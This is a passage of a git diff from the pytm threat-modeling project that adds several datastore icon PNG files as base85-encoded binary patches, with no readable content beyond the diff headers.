z9lx6u2BToxv`uMAq+kpZGm-e7sB#v~7fH}n+<&nV*NASzM-lX-oAZy3I1peU@)>Cc
zFNPfABQ+#*3lCyu!!Be5yL!?3fM~}}pID`L=v^M;P}~@LJ0Y%Y&74ZS5bgg;Hn&fi
z%xUJ3ciRR_$kXBit;XLX>`6^aDo`zxN!Gc5=3%)Z<eN^SKzJ-znLuBbxU73tS6U4$
ztrgQHZY1te{jo7UwJnaTrcUMcz}DvH?bJC9b0$`!&%<r#ZSYf#eNtG;iFN^Io9v(V
zn0t>9Tvp2do(;n<G^J*AKKWqf?+0Qx2DGtPqWO;ZgCS)U`Wm!y^k$?bOTEqn8_c(y
zC*QA!MzKF?mSEkpxll~m#k}quVosDYsouP4labJWv7qJwjRtd^j`Bl(I-7(v18cHF
zXv*?Cj3PlX3oQE5-SE3ldeQkIW-7>&x%3bXud2wsnV{lfSw=WW4WI9E;`r|81^C!4
z5AC>#6Y*`|vC_{|PW9g6J_EswXc5VePk&&>1WWfxoo<_L*guqP>rxKx1{E&8diwG>
zura}~j>8VmvPE+B$ZE{Sb(!RaHbdVVjKSE|=G+f0i9Mg;4~gAL7XTjLwnfobS@d&Q
zSJ;O*#)c>@Y7RohSu3Zyu<-93+ljrV6=ZQ>O}^$?Rj(FPYjx^fi9MBAVZpGuOxjA|
zt0%&Yb+u@s^#NE(c&{m#-A5#p=@NtXwOP#<<Rug(pEfusPExGgPxNf}1U)knE(-_Y
zZiHaJu|D3=bcd75S8F#Uo+#Ix1;l+1G$?jByT|367m4rAHCHbrh!{<l#ExZ7f(MV2
z)m~4*z6?Bm@=f*TeyG!%_4V+A>$Xi>>jUvc<kBC{sPj213O!Au-CZ)mIC!CLy&r<&
z52@Ra5~}IfU0_ogu0*oO9c}S51EYJ>BAx8+k=D#)oq2oQ9<Q7zXHdf1Qbif&UE)VK
z`G<5FTUOxs-^G2HvzuQ@Z_KvYzhh&FRcSIFc}d6m<gM!Kj;MP(OUAW2+Wj+jse>$)
z1h&;3i!3$H`Z6`z`pi^z@g<ns7Xwzz6H?`Xl6VEwM$^DRxJ$S!%UPYpH-}TZXfzQ5
zw#?X0`-4++R>g^@$5l8et|7eC?2>IwU3ajS84MFZt-tPVXTCt_q1LU&?NPzY%n0li
zZcy~B&!@B$S^r3w{y<*WuGYVWVOIG$ym-R?l9})Rk5dJoO=z^s-dY~+9!oo^*(j%{
zzGyA5)HAhwG_c7*AgqAbx7vUR$hoxIY?^VE6ckGX|Le=KKN2q-?s-LCd6WY8&vJl<
Ms;){S-0sGI0UsN~%m4rY

literal 0
HcmV?d00001

diff --git a/pytm/images/datastore_darkgreen.png b/pytm/images/datastore_darkgreen.png
new file mode 100644
index 0000000000000000000000000000000000000000..759a1ced6d069c6d24e49e5a5002e592e067604c
GIT binary patch
literal 3805
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
K*<PauCH@y^d5k*%

literal 0
HcmV?d00001

diff --git a/pytm/images/datastore_firebrick3.png b/pytm/images/datastore_firebrick3.png
new file mode 100644
index 0000000000000000000000000000000000000000..5c8446d4f4ee84e680df40214c8c71467216b1c6
GIT binary patch
literal 3806
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

literal 0
HcmV?d00001

diff --git a/pytm/images/datastore_gold.png b/pytm/images/datastore_gold.png
new file mode 100644
index 0000000000000000000000000000000000000000..6ed29d9001b4cffa54fd2e90e768c3d1f28bfc49
GIT binary patch
literal 3797
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
